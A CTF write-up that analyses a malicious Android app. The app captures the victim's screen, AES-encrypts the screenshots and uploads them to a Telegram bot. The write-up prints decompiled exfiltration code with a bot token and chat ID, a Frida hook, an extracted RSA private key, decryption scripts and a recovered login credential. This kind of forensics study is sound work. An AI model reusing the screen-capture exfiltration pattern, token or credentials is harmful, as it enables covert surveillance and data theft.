# ITSEC Summit CTF 2025 Quals – HMICast Writeup I recently participated in the ITSEC Summit CTF 2025 with my team, **frontshots**, and we managed to secure 9th place before final scoreboard freeze. I'm usually a rev player so it was a fun change of pace to solve this hard difficulty forensics challenge (although idk if that's accurate lmao). ![image](https://hackmd.io/_uploads/BJLD2Iydgg.png) ## Challenge Overview ### Description :::info Several important data has been acquired from an employee's device as an evidence. Dig into the evidence to expose the stealthy actions that went unnoticed. Attachment: https://drive.google.com/file/d/1w22r2EQCgCOQmM-GhsdvT5jc1tfHePZ4/view?usp=sharing Password: vJcCvAN7TZIJn9dQ Notes: This challenge contains real malicious process. Please execute on a safe and controlled environment. We are not responsible for any damages or losses resulting from the use or misuse of this challenge. Author: BlackBear ::: We are given a file system dump from an Android device (`/data/data` and `/data/app`). The primary objective is to answer a series of 10 questions that guide the analysis. This involves reverse engineering a malicous app, identifying its C2 infrastructure, and recovering stolen credentials. ## Writeup ### Is the phone rooted? :::spoiler Answer `yes` ::: Because we are given the `/data/data` and `/data/app` directories, this suggests that **yes** the device is either rooted or was dumped using a privileged method. Normally, app-specific directories under `/data/data` are protected by Android's sandboxing and SELinux policies, and cannot be accessed without having root. ### What is the malicous package name? :::spoiler Answer `com.itsec.android.hmi` ::: To identify the malicious package, I began by exploring the contents of the data directory. I listed all directories under `/data/data` using `tree`. This revealed a package with a suspicious-looking name: ``` ├─~~t4gZvUr4eEizq9YXxE6PVQ== │ └─com.itsec.android.hmi-C-csKBxVDuj7Ah_xn3fFKw== │ ├─lib │ │ └─arm │ └─oat │ └─arm ``` ### What is the download link of the malicious package? :::spoiler Answer `https://mega.nz/file/uddABYRD#c__klT8jtAiAhKLWNfuOuywoZiRfZfSXqxxryrVslj8` ::: To trace how the malicious package was downloaded, I examined user browsing behavior. A good starting point was to inspect the Chrome browser history, as Chrome is a commonly used app for downloads. First, I observed that the Chrome-related folder (`com.android.chrome`) was one of the largest in `/data/data/`. Within this folder, the browsing history is typically stored in an SQLite database located at: `/data/data/com.android.chrome/app_chrome/Default/History`. I opened the database using [SQLite Viewer](https://inloop.github.io/sqlite-viewer/). Upon inspection of the `urls` table, I found several `MEGA.nz` links. | id | url | title | |-----|--------------------------------------------|-------------------------------| | ... | ... | ... | | 8 | `http://mega.nz/fm/KFlyWZgS ` | MEGA: Protect your Online Privacy | | 9 | `https://mega.nz/` |MEGA: Protect your Online Privacy | | 10 | `https://mega.io/` | MEGA: Protect your Online Privacy | | 11 | `https://mega.nz/file/uddABYRD#c..` | | | ... | ... | ... | One entry stood out as a direct file download link which is the one with the ID of 11 ### What is the Android API that attacker use to capture victim's screen? :::spoiler Answer `android.media.projection.MediaProjectionManager` ::: I started by decompiling the malicious APK file using **JADX**. Within the decompiled code, I navigated to the class named `ScreenCaptureService`. This class contained logic related to screen capturing activity on the device. Here are the imports: ```java package com.itsec.android.hmi; import I0.c; import W0.f; import android.app.Notification; import android.app.NotificationChannel; import android.app.NotificationManager; import android.app.PendingIntent; import android.app.Service; import android.content.Intent; import android.content.res.Resources; import android.graphics.drawable.Icon; import android.hardware.display.VirtualDisplay; import android.media.ImageReader; import android.media.projection.MediaProjection; import android.media.projection.MediaProjectionManager; // ... ``` The presence of both MediaProjection and MediaProjectionManager means that the attacker used [Android’s MediaProjection API](https://developer.android.com/reference/android/media/projection/MediaProjectionManager) to start a screen capture session, abusing it to monitor the victim’s activity. ### What is the secretkey for image encryption process? :::spoiler Answer `dPGgF7tQlBaGqqmj` ::: To find the secret key used to encrypt the screenshots, I examined the decompilation again. I found that inside the package `I0`, there is a class named `a`, which is responsible for encrypting image data using AES-CBC. From the class definition and static fields, I observed the following: > Decompilation is slightly modified ```java= public abstract class a { public static final String AESType = CryptoService$stringfromnative.f1878a.getAES(); public static final String SecretKey = "lBaGqqmj"; public static final String SecretBase64 = "Ud1PxFTYWLrqDduwBCfbRnbOGT2AasCFObFWPHInhsg9eACzYirAHSaqa9QCmcgrA7aQDVRuOxmYyy5U3h1jLQbCz97cNjEUCVl1Hk6G7L/uOGqCOsp1aabaQ7hBoIVL9E00OMRK7uVtQQgT4CzJZXI1fsLovFG1MBNdENGVE8M="; public static final byte[] f395d; static { byte[] bytes = "Cj7pYMR6FqYFKRYi".getBytes(c1.a.f1544a); f.e(bytes, "this as java.lang.String).getBytes(charset)"); f395d = bytes; } public static byte[] a(byte[] bArr) { byte[] bArr2; CryptoService$stringfromnative cryptoService$stringfromnative = CryptoService$stringfromnative.f1878a; String rSAKey = cryptoService$stringfromnative.getRSAKey(); String str = SecretBase64; f.f(str, "base64Encrypted"); f.f(rSAKey, "privateKeyPEM"); String w02 = l.w0(l.w0(rSAKey, "-----BEGIN RSA PRIVATE KEY-----", ""), "-----END RSA PRIVATE KEY-----", ""); Pattern compile = Pattern.compile("\\s"); f.e(compile, "compile(pattern)"); String replaceAll = compile.matcher(w02).replaceAll(""); f.e(replaceAll, "nativePattern.matcher(in…).replaceAll(replacement)"); PrivateKey generatePrivate = KeyFactory.getInstance("RSA").generatePrivate(new PKCS8EncodedKeySpec(Base64.getDecoder().decode(replaceAll))); f.e(generatePrivate, "generatePrivate(...)"); Cipher instance = Cipher.getInstance(cryptoService$stringfromnative.getRSA()); instance.init(2, generatePrivate); byte[] doFinal = instance.doFinal(Base64.getDecoder().decode(str)); f.c(doFinal); Charset charset = c1.a.f1544a; String FinalSecretKey = new String(doFinal, charset) + SecretKey; Cipher instance2 = Cipher.getInstance(AESType); if (FinalSecretKey != null) { bArr2 = FinalSecretKey.getBytes(charset); f.e(bArr2, "this as java.lang.String).getBytes(charset)"); } else { bArr2 = null; } instance2.init(1, new SecretKeySpec(bArr2, "AES"), new IvParameterSpec(f395d)); byte[] doFinal2 = instance2.doFinal(bArr); f.e(doFinal2, "doFinal(...)"); return doFinal2; } } ``` Here’s how the encryption key is constructed: 1. `SecretBase64` contains an RSA-encrypted string. 2. This string is decrypted using a private key (`getRSAKey()`), resulting in a partial AES key. 3. The decrypted value is concatenated with the string `SecretKey = "lBaGqqmj"`. 4. This full string becomes the AES key used to encrypt image data. So the actual secret key used in the image encryption process is the RSA-decrypted value of `SecretBase64` + ``"lBaGqqmj"`` Because the RSA private key isn’t present in the source (It's in the `native-library.so` file), I used [Frida](https://frida.re/) to hook the runtime method `getRSAKey()` from the `CryptoService$stringfromnative` class. Here is the script that I used. ```javascript= Java.perform(function() { try { console.log("[*] Setting up Java-level hooks as backup..."); var CryptoService = Java.use("com.itsec.android.hmi.CryptoService$stringfromnative"); // Hook getRSAKey at Java level CryptoService.getRSAKey.implementation = function() { console.log("[JAVA] getRSAKey() called from Java level"); var result = this.getRSAKey(); console.log("[JAVA] getRSAKey() result: " + result); return result; }; // Hook getAES at Java level CryptoService.getAES.implementation = function() { console.log("[JAVA] getAES() called from Java level"); var result = this.getAES(); console.log("[JAVA] getAES() result: " + result); return result; }; // Hook getRSA at Java level CryptoService.getRSA.implementation = function() { console.log("[JAVA] getRSA() called from Java level"); var result = this.getRSA(); console.log("[JAVA] getRSA() result: " + result); return result; }; console.log("[+] Java-level hooks installed successfully"); // Try to call methods manually after a delay setTimeout(function() { console.log("[*] Attempting to manually trigger crypto methods..."); try { var instance = CryptoService.f1878a; if (instance) { console.log("[*] Singleton instance found, calling methods..."); try { var rsa = instance.getRSA(); console.log("[MANUAL] getRSA(): " + rsa); } catch (e) { console.log("[-] getRSA() failed: " + e); } try { var aes = instance.getAES(); console.log("[MANUAL] getAES(): " + aes); } catch (e) { console.log("[-] getAES() failed: " + e); } try { var rsaKey = instance.getRSAKey(); console.log("[MANUAL] getRSAKey(): " + rsaKey); } catch (e) { console.log("[-] getRSAKey() failed: " + e); } } else { console.log("[-] Singleton instance not initialized yet"); } } catch (e) { console.log("[-] Manual trigger failed: " + e); } }, 3000); } catch (e) { console.log("[-] Error setting up Java hooks: " + e); } }); ``` And here is the output: ![image](https://hackmd.io/_uploads/ryohST6vex.png) Now that we have the RSA private key, it should be trivial enough to decrypt it. ```python= from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_v1_5 from pwn import b64d suffix = b"lBaGqqmj" rsa = """-----BEGIN RSA PRIVATE KEY----- MIICWwIBAAKBgQCr3n0mG3OicxP+WJobKvd5RR2/gygPUdZbqYFPYBv2huhjPqte 5AsTRKOoOzYHJmEJTomx/QYicNgUMLY4xLcERyub/QA2bcPn5UqbwFxWMyo6xkaH iz3qsHs9MGyBAIq82kTzLng81lnr0ZK/jmLhRupuvtEGV1n593RzbyKbcQIDAQAB AoGADKdHvXt96vLgAPTS+7cRGzuMciIc2+vhhUQYghiIVoEeMNhXU5gkfJmsFuGt G5+mu0Gt/42qWvTF486mS82nz6hUrXfJaj+iCs3lbWxiH3nZ3BN1w8SVQww6P0qe x2/y6XBgcg1mRsxhff2DoZO9XQSrz5oedLa6dD+NquKu3gECQQD/eECddJNKUy1Q 8nfbzK1W4lm4ikKBEaTpvQYC6+f+dhn3pKp0Ftz0WoNR1PxbR1xNnQSs+ire7sd/ XNBoqpPhAkEArDnQZG7TT8fTQRXoeqFjW3DKOOEUQwxnp17ly5vCg1yqxoMUeaIl ic0yU9SE5BvZwdBYMXVLW5mR+Kdl4o/5kQJAAUxOH76w5ObJSykAPOisVM2voQVq 0xcQ3HMubaNfOWbGOQDoMNDQ7JjtI+ROJ/ST3n0Wwf4/a4SRFO+Wy4FaYQJAfR9/ nAe8M8EMZMPC45zur1cxQ8OaUd/oSnuyXYtq9L7VP2Wp8Xhw5z2R67+BUKw/NwTj ngMGXaUjnNAZQFGzUQJAK1LCkXR8GAZHChVJsXOVfsYUBy+XKkTux4wzP4W/fDf9 YsNCD0BsIG16uq9XKeiFVDRc8epkC2/i5FAMEoxPqQ== -----END RSA PRIVATE KEY----- """ enc = "Ud1PxFTYWLrqDduwBCfbRnbOGT2AasCFObFWPHInhsg9eACzYirAHSaqa9QCmcgrA7aQDVRuOxmYyy5U3h1jLQbCz97cNjEUCVl1Hk6G7L/uOGqCOsp1aabaQ7hBoIVL9E00OMRK7uVtQQgT4CzJZXI1fsLovFG1MBNdENGVE8M=" ciphertext = b64d(enc) key = RSA.import_key(rsa) cipher_rsa = PKCS1_v1_5.new(key) decrypted = cipher_rsa.decrypt(ciphertext, b"error") print(f'secretkey: {decrypted + suffix}') ``` ``` secretkey: b'dPGgF7tQlBaGqqmj' ``` ### Where the encrypted image sent to? (application name) :::spoiler Answer `Telegram` ::: After capturing and encrypting a screenshot, the image is uploaded to Telegram using the Bot API. Here's how it works: It first takes the latest image that is captured and encrypts it using the previous AES-CBC encryption. ```java= Image acquireLatestImage = imageReader.acquireLatestImage(); ... Bitmap createBitmap = Bitmap.createBitmap(...); createBitmap.copyPixelsFromBuffer(buffer); ... createBitmap.compress(Bitmap.CompressFormat.PNG, 100, byteArrayOutputStream); byte[] byteArray = byteArrayOutputStream.toByteArray(); byte[] a2 = a.a(byteArray); // <-- custom encryption we decompiled before ... FileOutputStream fileOutputStream = new FileOutputStream(new File(file, str)); fileOutputStream.write(a2); ``` After encryption, the file is saved locally in: `/data/data/com.itsec.android.hmi/files/.logs/log_<timestamp>.enc` And also sent to the Telegram group: ```java= String str3 = "https://api.telegram.org/bot8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q/sendDocument"; ... arrayList.add(d.r("chat_id", null, new v(..., "-1002300479215".getBytes(...)))); arrayList.add(d.r("document", name, new u(oVar, file2))); // <-- Encrypted image file ... fVar.j("POST", qVar); // send multipart/form-data ``` ### What is the bot API token? :::spoiler Answer `8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q` ::: From the previously answered question, we found the token from the api link (`https://api.telegram.org/bot8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q/sendDocument`) ### What is the bot username? > To find the bot's username, we can use the [Telegram Bot API](https://core.telegram.org/bots/api), specifically the `getMe` endpoint which returns User information about the bot. Here is the response: ```json { "ok": true, "result": { "id": 8369776437, "is_bot": true, "first_name": "gunters-helper", "username": "guntershelpsBot", "can_join_groups": true, "can_read_all_group_messages": false, "supports_inline_queries": false, "can_connect_to_business": false, "has_main_web_app": false } } ``` We can see that the bot's username is `guntershelpsbot`. ### What is the group name and invite link? :::spoiler Answer Group name: `mycrib` Invite link: `https://t.me/+RVvaMCn_f7FmZmFl` ::: After identifying the Telegram bot username from the API, I then tried searching for the bot (`@guntershelpsbot`) on Telegram.![Screenshot](https://hackmd.io/_uploads/HJLUdkRwle.png) Upon opening the bot's profile, I noticed that it contained a link to a Telegram group. ![Screenshot 2025-08-04 150005](https://hackmd.io/_uploads/BkQhOyRweg.png) Clicking on the link lead to a group named `mycrib` which appeared to be used as a C2 communication channel by the attacker. ### What is the login credential that was captured and sent at this window of time [Tuesday, July 29, 2025 5:26 AM - Tuesday, July 29, 2025 5:30 AM]? :::spoiler Answer Username: `operator1337` Password: `HM1_standin9_Str0nk` ::: I investigated the encrypted files in the Telegram group that was identified as the C2 channel. ![image](https://hackmd.io/_uploads/HJWG91RPxe.png) After downloading the encrypted files, I wrote a quick script to decrypt all of the files that were uploaded in that time frame. ```python= from os import listdir from Crypto.Cipher import AES from Crypto.Util.Padding import unpad d = "./stuff" d_res = "./decrypted" key = b'dPGgF7tQlBaGqqmj' iv = b'Cj7pYMR6FqYFKRYi' files = listdir(d) # encrypted files directory for f in files: contents = open(d+'/'+f, 'rb').read() cipher = AES.new(key, AES.MODE_CBC, iv=iv) decr = unpad(cipher.decrypt(contents), AES.block_size) with open(d_res + '/dec_' + f + ".png", "wb") as f_out: f_out.write(decr) ``` One screenshot stood out (`dec_log_1753741684068.enc.png`) as it contains the login credentials: ![image](https://hackmd.io/_uploads/H1i17eCPgg.png) ### Flag After submitting all the answers, the final flag is revealed. :::spoiler Flag ```ITSEC{gunt3rs_is_th3_culpr1t_88ebf35eac}``` ::: ## Final Thoughts Overall, I had a great time solving this challenge and I learned a lot from it. Especially since I don't dabble too much on forensics challenges. The reversing parts of this challenge are not too bad (since its not a rev challenge ofc) and I also got to use Frida again after a long time of not doing Android reversing lol.